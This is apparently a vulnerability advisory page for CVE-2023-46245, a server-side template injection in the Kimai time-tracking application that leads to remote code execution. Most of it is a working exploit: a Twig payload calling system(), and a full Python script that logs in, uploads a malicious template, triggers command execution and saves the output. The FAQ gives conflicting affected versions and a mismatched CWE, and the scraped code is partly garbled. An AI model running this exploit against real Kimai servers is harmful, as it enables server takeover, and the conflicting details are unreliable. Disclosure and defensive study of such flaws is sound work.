CVE-2023-46245: Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), arraymerge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); }
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
yaml version: '3.5' services:
sqldb: image: mysql:5.7 environment: - MYSQLROOTHOST='%' - MYSQLDATABASE=kimai - MYSQLUSER=kimaiuser - MYSQLPASSWORD=kimaipassword - MYSQLROOTPASSWORD=changemeplease
ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQLROOTPASSWORD ping -h 127.0.0.1 interval: 20s startperiod: 10s timeout: 10s retries: 3
nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped dependson: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s startperiod: 10s timeout: 10s retries: 3
kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASEURL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTEDHOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memorylimit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped
phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMAARBITRARY=1
postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtpuser: kimai:kimai restart: unless-stopped
volumes: var: public: mysql:
Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept python import requests import re import string import random import sys
session = requests.session() BASEURL = sys.argv[1]
def generate(size=6, chars=string.asciiuppercase + string.digits): return ''.join(random.choice(chars) for in range(size))
def getcsrf(path, session): try: projectid = "" csrftoken = "" previewid = "" templateids = [] activitycustomerlist = [] csrfloginresponse = session.get(f"{BASEURL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]?name=["\'].?token[^"\']["\'][^>]?value="\'["\'][^>]?>', re.IGNORECASE) match = pattern.search(csrfloginresponse) if match: csrftoken = match.group(1) if "performSearch" in path: previewpattern = re.compile(r'<div[^>]id="preview-token"[^>]data-value="(.?)"[^>]>', re.IGNORECASE) previewmatch = previewpattern.search(csrfloginresponse) if previewmatch: previewid = previewmatch.group(1)
templatepattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) templatematches = templatepattern.findall(csrfloginresponse) if templatematches: templateids = [int(id) for id in templatematches] if "timesheet" in path: optionpattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) optionmatches = optionpattern.findall(csrfloginresponse) if optionmatches: activitycustomerlist = [(int(activityid), int(customerid)) for activityid, customerid in optionmatches] if "project" in path or "activity" in path: projectidmatch = re.search(r'<option value="(\d+)"[^>]data-currency="EUR"[^>]>', csrfloginresponse) if projectidmatch: projectid = projectidmatch.group(1) return csrftoken, projectid, previewid, templateids, activitycustomerlist except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None
def login(username,password,csrf,session): try: params = {"username": username, "password": password, "csrftoken": csrf} loginresponse = session.post(f"{BASEURL}/logincheck", data=params, allowredirects=True) if "I forgot my password" not in loginresponse.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass
def createcustomer(token,name,session): try:
data = { 'customereditform[name]': (None, name), 'customereditform[color]': (None, ''), 'customereditform[comment]': (None, 'xx'), 'customereditform[address]': (None, 'xx'), 'customereditform[company]': (None, ''), 'customereditform[number]': (None, '0002'), 'customereditform[vatId]': (None, ''), 'customereditform[country]': (None, 'DE'), 'customereditform[currency]': (None, 'EUR'), 'customereditform[timezone]': (None, 'UTC'), 'customereditform[contact]': (None, ''), 'customereditform[email]': (None, ''), 'customereditform[homepage]': (None, ''), 'customereditform[mobile]': (None, ''), 'customereditform[phone]': (None, ''), 'customereditform[fax]': (None, ''), 'customereditform[budget]': (None, '0.00'), 'customereditform[timeBudget]': (None, '0:00'), 'customereditform[budgetType]': (None, ''), 'customereditform[visible]': (None, '1'), 'customereditform[billable]': (None, '1'), 'customereditform[invoiceTemplate]': (None, ''), 'customereditform[invoiceText]': (None, ''), 'customereditform[token]': (None, token), }
response = session.post(f"{BASEURL}/admin/customer/create", files=data)
except Exception as e: print(str(e))
def createproject(token, name,projectid ,session): try: formdata = { 'projecteditform[name]': (None, name), 'projecteditform[color]': (None, ''), 'projecteditform[comment]': (None, ''), 'projecteditform[customer]': (None, projectid), 'projecteditform[orderNumber]': (None, ''), 'projecteditform[orderDate]': (None, ''), 'projecteditform[start]': (None, ''), 'projecteditform[end]': (None, ''), 'projecteditform[budget]': (None, '0.00'), 'projecteditform[timeBudget]': (None, '0:00'), 'projecteditform[budgetType]': (None, ''), 'projecteditform[visible]': (None, '1'), 'projecteditform[billable]': (None, '1'), 'projecteditform[globalActivities]': (None, '1'), 'projecteditform[invoiceText]': (None, ''), 'projecteditform[token]': (None, token) } response = session.post(f"{BASEURL}/admin/project/create", files=formdata) except Exception as e: print(str(e))
def createactivity(token, name,projectid ,session): try: formdata = { 'activityeditform[name]': (None, name), 'activityeditform[color]': (None, ''), 'activityeditform[comment]': (None, ''), 'activityeditform[project]': (None, ''), 'activityeditform[budget]': (None, '0.00'), 'activityeditform[timeBudget]': (None, '0:00'), 'activityeditform[budgetType]': (None, ''), 'activityeditform[visible]': (None, '1'), 'activityeditform[billable]': (None, '1'), 'activityeditform[invoiceText]': (None, ''), 'activityeditform[token]': (None, token), } response = session.post(f"{BASEURL}/admin/activity/create", files=formdata) if response.statuscode == 201: print(f"[+] Activity created: {name}")
except Exception as e: print(f"An error occurred: {str(e)}")
def uploadmaliciousdocument(token,session): try: formdata = { 'invoicedocumentuploadform[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoicedocumentuploadform[token]': (None, token) } response = session.post(f"{BASEURL}/invoice/documentupload", files=formdata) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1)
except Exception as e: print(f"An error occurred: {str(e)}") import re
def createmalicioustemplate(token, name, session): try: data = { 'invoicetemplateform[name]': name, 'invoicetemplateform[title]': name, 'invoicetemplateform[company]': name, 'invoicetemplateform[vatId]': '', 'invoicetemplateform[address]': '', 'invoicetemplateform[contact]': '', 'invoicetemplateform[paymentTerms]': '', 'invoicetemplateform[paymentDetails]': '', 'invoicetemplateform[dueDays]': '30', 'invoicetemplateform[vat]': '0.000', 'invoicetemplateform[language]': 'en', 'invoicetemplateform[numberGenerator]': 'default', 'invoicetemplateform[renderer]': 'din', 'invoicetemplateform[calculator]': 'default', 'invoicetemplateform[token]': token } response = session.post(f"{BASEURL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s<td class="alwaysVisible colname">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: templateid = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {templateid}") return templateid # Return the captured template ID else: print("[-] Failed to capture the template ID") createmalicioustemplate(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1)
def createtimesheet(token, activity, project, session): formdata = { 'timesheeteditform[begindate]': (None, '01/01/1980'), 'timesheeteditform[begintime]': (None, '12:00 AM'), 'timesheeteditform[duration]': (None, '0:15'), 'timesheeteditform[endtime]': (None, '12:15 AM'), 'timesheeteditform[customer]': (None, ''), 'timesheeteditform[project]': (None, project), 'timesheeteditform[activity]': (None, activity), 'timesheeteditform[description]': (None, ''), 'timesheeteditform[fixedRate]': (None, ''), 'timesheeteditform[hourlyRate]': (None, ''), 'timesheeteditform[billableMode]': (None, 'auto'), 'timesheeteditform[token]': (None, token) } response = session.post(f"{BASEURL}/timesheet/create", files=formdata,allowredirects=False) if response.statuscode == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet")
##############################
login csrf, , , , = getcsrf("/login", session) login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) create new customer
getcustomertoken, , , , = getcsrf("/admin/customer/create", session) customername = generate() createcustomer(getcustomertoken, customername, session) create new project with customername
getprojecttoken, customerid, , , = getcsrf("/admin/project/create", session) projectname = generate() createproject(getprojecttoken, projectname, customerid, session)
create new activity getactivitytoken, projectid, , , = getcsrf("/admin/activity/create", session) activityname = generate() createactivity(getactivitytoken, activityname, projectid, session)
EXPLOIT ######################
upload malicious file uploadtoken, , , , = getcsrf("/invoice/documentupload", session) uploadmaliciousdocument(uploadtoken, session)
create malicious template to trigger the SSTI gettemplatetoken, , , , = getcsrf("/invoice/template/create", session) template = generate() tempid = createmalicioustemplate(gettemplatetoken, template, session)
create a timesheet with projectid and activityid activitycustomerlist = getcsrf("/timesheet/create", session)[4] # get the activitycustomerlist from getcsrf function
print(f"[+] Constructing renderer URLs..") iterate through all relative projectids and customerid for exploit stabiliy for activityid, customerid in activitycustomerlist: csrf = getcsrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activityid}, Customer ID: {customerid}") createtimesheet(csrf, activityid, customerid, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASEURL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, , , , = getcsrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, projectid, previewid, templateids, activitycustomerlist = getcsrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&token={csrf}&template={tempid}", session) for templateid in templateids: rendererURL = f"{BASEURL}/invoice/preview/{customerid}/{previewid}?searchTerm=&daterange=&exported=1&template={tempid}&invoiceDate=&token={csrf}&customers[]={customerid}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such: bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:
!kimaiRCE
Impact
Remote Code Execution
Other sources
Kimai is a web-based multi-user time-tracking application. Versions prior to 2.1.0 are vulnerable to a Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities. Version 2.1.0 enables security measures for custom Twig templates.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the vulnerability ID of this vulnerability?
The vulnerability ID of this vulnerability is CVE-2023-46245.
What is the severity of CVE-2023-46245?
The severity of CVE-2023-46245 is high with a severity score of 7.2.
What is the affected software of CVE-2023-46245?
The affected software of CVE-2023-46245 is Kimai version up to and including 2.1.0.
What is the CWE ID of CVE-2023-46245?
The CWE ID of CVE-2023-46245 is CWE-352.
How can the vulnerability be exploited?
The vulnerability can be exploited by a malicious user uploading a specially crafted Twig file, which can lead to Server-Side Template Injection (SSTI) and Remote Code Execution (RCE).